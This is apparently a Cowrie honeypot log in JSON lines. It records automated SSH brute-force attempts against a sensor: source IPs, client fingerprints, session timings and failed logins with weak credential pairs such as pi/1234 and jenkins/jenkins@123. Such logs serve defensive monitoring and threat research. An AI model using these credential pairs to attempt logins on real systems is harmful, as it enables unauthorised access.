{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:52.763377Z","src_ip":"8.219.200.1","session":"474c7f704415","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"39.185.15.64","src_port":38282,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ddd363107b3","protocol":"telnet","message":"New connection: 39.185.15.64:38282 (159.203.135.109:23) [session: 3ddd363107b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:52.800923Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:52.972775Z","src_ip":"8.219.200.1","session":"474c7f704415","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:53.371263Z","src_ip":"45.156.87.147","session":"4c1351f537bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"sftpuser","message":"login attempt [sftpuser/sftpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:53.939209Z","src_ip":"8.219.200.1","session":"474c7f704415","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:55.615978Z","src_ip":"8.219.200.1","session":"474c7f704415","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user1234","message":"login attempt [user/user1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:55.852067Z","src_ip":"91.92.42.227","session":"d5d3a53f8885","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":52152,"dst_ip":"10.17.0.5","dst_port":22,"session":"7bff88b2cad0","protocol":"ssh","message":"New connection: 45.156.87.147:52152 (10.17.0.5:22) [session: 7bff88b2cad0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:56.996939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:57.006776Z","src_ip":"45.156.87.147","session":"7bff88b2cad0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:57.089774Z","src_ip":"45.156.87.147","session":"7bff88b2cad0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hamed","password":"hamed","message":"login attempt [hamed/hamed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:57.350565Z","src_ip":"45.156.87.147","session":"7bff88b2cad0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:57.448717Z","src_ip":"91.92.42.227","session":"d5d3a53f8885","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:58.436292Z","src_ip":"45.156.87.147","session":"7bff88b2cad0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":55926,"dst_ip":"10.17.0.5","dst_port":22,"session":"1be61c5a67d1","protocol":"ssh","message":"New connection: 91.92.42.227:55926 (10.17.0.5:22) [session: 1be61c5a67d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:58.927512Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:59.477361Z","src_ip":"91.92.42.227","session":"1be61c5a67d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:59.480781Z","src_ip":"91.92.42.227","session":"1be61c5a67d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":43916,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9790a62f944","protocol":"ssh","message":"New connection: 45.156.87.147:43916 (10.17.0.5:22) [session: e9790a62f944]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:01.968617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:01.999101Z","src_ip":"45.156.87.147","session":"e9790a62f944","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:02.088900Z","src_ip":"45.156.87.147","session":"e9790a62f944","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins@123","message":"login attempt [jenkins/jenkins@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:02.343817Z","src_ip":"45.156.87.147","session":"e9790a62f944","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"passwd","message":"login attempt [ansible/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:02.746765Z","src_ip":"91.92.42.227","session":"1be61c5a67d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:03.428851Z","src_ip":"45.156.87.147","session":"e9790a62f944","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.6","message":"Connection lost after 5.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:04.530577Z","src_ip":"91.92.42.227","session":"1be61c5a67d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":55438,"dst_ip":"10.17.0.5","dst_port":22,"session":"da233ce0060e","protocol":"ssh","message":"New connection: 91.92.42.227:55438 (10.17.0.5:22) [session: da233ce0060e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:05.430274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:06.063787Z","src_ip":"91.92.42.227","session":"da233ce0060e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:06.068108Z","src_ip":"91.92.42.227","session":"da233ce0060e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":43928,"dst_ip":"10.17.0.5","dst_port":22,"session":"c72e89d30331","protocol":"ssh","message":"New connection: 45.156.87.147:43928 (10.17.0.5:22) [session: c72e89d30331]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:06.779795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:06.785585Z","src_ip":"45.156.87.147","session":"c72e89d30331","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:06.867215Z","src_ip":"45.156.87.147","session":"c72e89d30331","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"1234","message":"login attempt [pi/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:07.113048Z","src_ip":"45.156.87.147","session":"c72e89d30331","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:08.240182Z","src_ip":"45.156.87.147","session":"c72e89d30331","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"12345678","message":"login attempt [claude/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:09.998993Z","src_ip":"91.92.42.227","session":"da233ce0060e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":56694,"dst_ip":"10.17.0.5","dst_port":22,"session":"2acb26597fb9","protocol":"ssh","message":"New connection: 45.156.87.147:56694 (10.17.0.5:22) [session: 2acb26597fb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:11.681868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:11.686099Z","src_ip":"45.156.87.147","session":"2acb26597fb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:11.768745Z","src_ip":"45.156.87.147","session":"2acb26597fb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":55514,"dst_ip":"10.17.0.5","dst_port":22,"session":"79cfae3d8c33","protocol":"ssh","message":"New connection: 91.92.42.227:55514 (10.17.0.5:22) [session: 79cfae3d8c33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:11.835534Z"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:11.849963Z","src_ip":"91.92.42.227","session":"da233ce0060e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"1234","message":"login attempt [alex/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:12.015420Z","src_ip":"45.156.87.147","session":"2acb26597fb9","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:12.867453Z","src_ip":"91.92.42.227","session":"79cfae3d8c33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:12.872483Z","src_ip":"91.92.42.227","session":"79cfae3d8c33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:13.158304Z","src_ip":"45.156.87.147","session":"2acb26597fb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":56700,"dst_ip":"10.17.0.5","dst_port":22,"session":"12c18bc811b9","protocol":"ssh","message":"New connection: 45.156.87.147:56700 (10.17.0.5:22) [session: 12c18bc811b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:16.582994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:16.587007Z","src_ip":"45.156.87.147","session":"12c18bc811b9","protocol":"ssh"}
